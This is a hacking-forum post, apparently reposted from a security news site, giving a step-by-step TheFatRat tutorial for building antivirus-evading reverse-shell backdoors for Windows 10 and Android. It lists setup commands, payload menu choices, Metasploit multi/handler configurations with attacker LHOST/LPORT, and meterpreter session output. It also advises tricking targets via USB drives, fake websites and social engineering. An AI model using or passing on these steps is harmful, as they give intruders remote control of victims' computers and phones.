# Hack windows, android, mac using thefatrat (step by step tutorial) **URL:** \ **Category:** Tutorials & Methods\ **Tags:** hacking\ **Created:** [February 7, 2020, 11:40pm UTC](https://onehack.st/t/hack-windows-android-mac-using-thefatrat-step-by-step-tutorial/68851 "2020-02-07T23:40:22Z")\ **Posts on this page:** 1\ **Page:** 1
**Author:** ![TheJoker](https://onehack.st/user_avatar/onehack.st/thejoker/32/22660_2.png) [@TheJoker](https://onehack.st/u/TheJoker)\ **Post date:** [February 7, 2020, 11:40pm UTC](https://onehack.st/t/hack-windows-android-mac-using-thefatrat-step-by-step-tutorial/68851/1 "2020-02-07T23:40:23Z")
Using Metasploit is not an difficult thing anymore. Because there are many resources that are available over the internet. Which tells usage of metasploit. Metasploit are the common ways of attacking any outdated operating system. Still there are many operating system which can be exploit remotely. And there are many anti-viruses which cannot detect these exploits, say ethical hacking professionals. We are talking about TheFatRat. According to [**ethical hacking**](https://www.iicybersecurity.com/ethical-hacking.html) researcher of International Institute of Cyber Security did a detailed analysis on the working of TheFatRat to check on the insides of pentesting tool. **TheFatRat** is an another metasploit like tool which is used to generate backdoor easily. This tool is used to compile some of the malware with some popular payloads which then can be used to attack operating systems like Windows, MAC, Linux. This tool gives many options like creating backdoors, infected dlls, as per ethical hacking investigation.. The whole tool has been tested on **[Parrot OS](https://www.securitynewspaper.com/2018/05/23/parrot-security-4-0-new-tool-cloud-iot-pentesting/).** And after creating backdoors. These backdoors has been opened on **Windows 10 Build 1607** and **android**. - For cloning type **[https://github.com/Screetsec/TheFatRat.git](https://github.com/Screetsec/TheFatRat.git)** - Then type **cd TheFatRat** - Type **chmod u+x setup.sh** - Type **./setup.sh** - If mono does not install type **sudo apt-get update** and **sudo apt-get install mono-mcs** or type **sudo apt-get install mono-devel** or type **sudo apt-get install mono-complete** - As some of the dependencies related to mono does no install directly. so simply run above commands. - In installation phase it will ask to create shortcut in parrot OS. Simply type **y** after installation you can run fatrat just like you run msfconsole. - After then type **fatrat** ![](https://www.securitynewspaper.com/snews-up/2019/01/01-18-1024x576.png) - As you can **TheFatRat** gives tons of options to create session in target windows or other platforms. #### CREATING AN SIMPLE EXPLOIT TO HACK WINDOWS 10 :- - Type **6** will create fud backdoor using pwnwinds. ![](https://www.securitynewspaper.com/snews-up/2019/01/02-17-1024x576.png) - Then type **2** which will create fud backdoor using c# + powershell. ![](https://www.securitynewspaper.com/snews-up/2019/01/03-13-1024x576.png) - Enter LHOST listener/attacker IP address. Type **192.168.1.12** - Type port **4444** or any port number. - Enter backdoor file name **tstfile** ![](https://www.securitynewspaper.com/snews-up/2019/01/04-9-1024x576.png) - Type **3** for using windows/meterpreter/reverse\_tcp. ![](https://www.securitynewspaper.com/snews-up/2019/01/05-8-1024x576.png) - Press **enter** for creating backdoor. ![](https://www.securitynewspaper.com/snews-up/2019/01/06-8-1024x576.png) - After backdoor is creating it will save in **/home/user/Downloads/TheFatRat/output/tstfile.exe** - For accessing backdoor go to above location. ![](https://www.securitynewspaper.com/snews-up/2019/01/07-8-1024x576.png) - Open another terminal and start msfconsole. Msfconsole wiil be used to handle ongoing session. - Type **msfconsole** - After **msfconsole** has started type use **exploit/multi/handler** - Then type set **payload windows/meterpreter/reverse\_tcp** - Type **LHOST 192.168.1.12** - Type **LPORT 4444** - Type **exploit** msf5 \> **use exploit/multi/handler** msf5 exploit(multi/handler) \> **set payload windows/meterpreter/reverse\_tcp** payload =\> windows/meterpreter/reverse\_tcp msf5 exploit(multi/handler) \> **set LHOST 192.168.1.12** LHOST =\> 192.168.1.12 msf5 exploit(multi/handler) \> **set LPORT 4444** LPORT =\> 4444 msf5 exploit(multi/handler) \> **exploit** - Now for opening backdoor in **Windows 10**. Simply **copy** from here and **paste** to pendrive and **open** pendrive in **Windows 10**. You can also use any social engineering technique (like by [Fake any website in seconds](https://www.securitynewspaper.com/2019/01/02/fake-any-website-in-seconds-facebook-snapchat-instagram/)) to pass this exe to TARGET computer. - You have to copy two files **tstfile.exe** and **program.cs**. As this backdoor has created using **C#** - And then **double click** on **tstfile.exe** ![](https://www.securitynewspaper.com/snews-up/2019/01/08-5-1024x252.png) - As target click on the file a popup will came out and then meterpreter session will be opened. ![](https://www.securitynewspaper.com/snews-up/2019/01/09-6-1024x505.png) - As shown below meterpreter session has started in msfconsole. msf5 exploit(multi/handler) \> **exploit** [_] Started reverse TCP handler on 192.168.1.12:4444 [_] Sending stage (179779 bytes) to 192.168.1.5 [\*] Meterpreter session 1 opened (192.168.1.12:4444 → 192.168.1.5:61050) at 2019-01-30 12:24:04 +0000 meterpreter \> sysinfo Computer : DESKTOP-2304ULE OS : Windows 10 (Build 16299). Architecture : x64 System Language : en\_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter \> - The above target is using Widnows 10. As session has created attacker can perform various tasks. #### CREATING BACKDOOR EASILY WITH ANOTHER OPTION (WITH C CODE):- - Type **6** ![](https://www.securitynewspaper.com/snews-up/2019/01/10-5-1024x531.png) - Type **6** ![](https://www.securitynewspaper.com/snews-up/2019/01/11-2-1024x531.png) - Type **6** ![](https://www.securitynewspaper.com/snews-up/2019/01/12-3-1024x576.png) - Enter LHOST listener/attacker IP address. Type **192.168.1.12** - Type port **4444** or any port number. - Enter backdoor file name **tstfile** - Press enter to create backdoor. - Open another terminal and start msfconsole. Msfconsole wiil be used to handle ongoing session. - Type **msfconsole** - After **msfconsole** has started type **use exploit/multi/handler** - Then type set **payload windows/meterpreter/reverse\_tcp** - Type **LHOST 192.168.1.12** - Type **LPORT 4444** - Type **exploit** msf5 \> **use exploit/multi/handler** msf5 exploit(multi/handler) \> **set payload windows/meterpreter/reverse\_tcp** payload =\> windows/meterpreter/reverse\_tcp msf5 exploit(multi/handler) \> **set LHOST 192.168.1.12** LHOST =\> 192.168.1.12 msf5 exploit(multi/handler) \> **set LPORT 4444** LPORT =\> 4444 msf5 exploit(multi/handler) \> **exploit** - As target open malicious file (tstfile.exe) in windows 10. A meterpreter session will start. [_] Started reverse TCP handler on 192.168.1.12:4444 [_] Sending stage (179779 bytes) to 192.168.1.5 [\*] Meterpreter session 2 opened (192.168.1.12:4444 → 192.168.1.5:61331) at 2019-01-30 15:19:28 +0000 meterpreter \> - As you can see meterpreter session has start in attacker machine. Now attacker can easily manipulate target. #### CREATING BACKDOOR USING APACHE + POWERSHELL :- - Type **6** ![](https://www.securitynewspaper.com/snews-up/2019/01/10-5-1024x531.png) - Type **3** ![](https://www.securitynewspaper.com/snews-up/2019/01/13-1-1024x528.png) - Enter LHOST listener/attacker IP address. Type **192.168.1.12** - Type port **4444** or any port number. - Enter backdoor file name **tstfile1** ![](https://www.securitynewspaper.com/snews-up/2019/01/14-1-1024x533.png) - Type **3** - Press **enter** to create backdoor. ![](https://www.securitynewspaper.com/snews-up/2019/01/15-1024x576.png) - Open above created backdoor in Windows 10. Or trick your target to open above file in their pc. - Open another terminal and start msfconsole. Msfconsole wiil be used to handle ongoing session. - Type **msfconsole** - After **msfconsole has started type use exploit/multi/handler** - Then type set **payload windows/meterpreter/reverse\_tcp** - Type **LHOST 192.168.1.12** - Type **LPORT 4444** - Type **exploit** - As target opens backdoor **(tstfile1.exe** ) a new session will be created in windows [_] Sending stage (179779 bytes) to 192.168.1.5 [_] Meterpreter session 3 opened (192.168.1.12:4444 → 192.168.1.5:61336) at 2019-01-30 15:20:01 +0000 meterpreter \> The difference between backdoors are that 1st backdoor uses c# + powershell where you files to the target. And second backdoor where you have to simply choose the options to create backdoor. As another backdoor requires to set payload. And the third where the backdoor uses a webserver apache to create backdoor. The third backdoor makes a strong backdoor for attackers. The session does not get expired easily. As the above two expires session suddenly while testing, according to ethical hacking courses. #### INJECT USING PHP:- - Here we will create backdoor using php. Type **1** ![](https://www.securitynewspaper.com/snews-up/2019/01/14-2-1024x576.png) - Then type **5** - Type LHOST **192.168.1.7** - Then type port **80** - Enter file name **tstfile** ![](https://www.securitynewspaper.com/snews-up/2019/01/16-1-1024x576.png) - As shown in the above image. This backdoor is using windows payload for creating an session. - After payload has created. Move payload to apache server location. As this payload will be opened using Ip address. - Type **cp tstfile.php /var/www/html** - Then **type sudo serivce apache2 start** - Then go to target windows browser and type **192.168.1.7/tstfile.php** ![](https://www.securitynewspaper.com/snews-up/2019/01/18-1024x142.png) - As target open above URL. A php script will start in background and session will start as shown below. [\*] Meterpreter session 1 opened (192.168.1.12:80 → 192.168.1.5:61331) at 2019-01-30 17:45:28 +0000 Id Information Connection * * * 1 meterpreter php/linux www-data (33) @apache2 192.168.1.7:80 → 192.178.1.5:61331 msf exploit(handler) \> session -i 1 meterpreter \> sysinfo Computer : DESKTOP-2304ULE OS : Windows 10 (Build 16299). Architecture : x64 System Language : en\_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter \> - After opening just a URL. Target can easily got hacked. #### ATTACKING AN ANDROID DEVICE :- - Type **1** ![](https://www.securitynewspaper.com/snews-up/2019/01/22-1024x576.png) - Type **192.168.1.7** - Type **4444** - Then **backdoor** - Type **3** ![](https://www.securitynewspaper.com/snews-up/2019/01/20-1024x576.png) - Press **enter** to create backdoor. - This is create a infected .apk file ![](https://www.securitynewspaper.com/snews-up/2019/01/21-1024x576.png) - We will open backdoor in android mobile. Here we have use Android 4.4 Lolipop. - Create an multi handler inside msfconsole. - Type **use exploit/multi/handler** - Type **set payload android/meterpreter/reverse\_tcp** - Type **set 192.168.1.7** - Type **set 4444** - Type **exploit** msf5 \> **use exploit/multi/handler** msf5 exploit(multi/handler) \> **set payload android/meterpreter/reverse\_tcp** payload =\> android/meterpreter/reverse\_tcp msf5 exploit(multi/handler) \> **set LHOST 192.168.1.7** LHOST =\> 192.168.1.7 msf5 exploit(multi/handler) \> **set LPORT 4444** LPORT =\> 4444 msf5 exploit(multi/handler) \> **exploit** ![](https://www.securitynewspaper.com/snews-up/2019/01/01-19.png) - Install the above **backdoor.apk** ![](https://www.securitynewspaper.com/snews-up/2019/01/03-14.png) - As backdoor.apk is opened in android a new session will be created in msfconsole. As per [digital forensic](https://www.iicybersecurity.com/digital-forensic.html) expert from International Institute of Cyber Security users should be cautious while downloading any new Android app, as it can be [android trojan](https://www.securitynewspaper.com/2016/12/10/new-exo-android-trojan-sold-hacking-forums-dark-web/). ![image](https://onehack.st/uploads/default/original/3X/f/6/f6b30b455c597dfae9d2716677a693d3cdbcbaa8.png) - Type **sysinfo** `meterpreter > sysinfo Computer : localhost OS : Android 4.4.2 - Linux 3.10.52-android-x86+ (i686) Meterpreter : dalvik/android meterpreter > ` - As the attacker can take advantage of target android device. `Credits: securitynewspaper`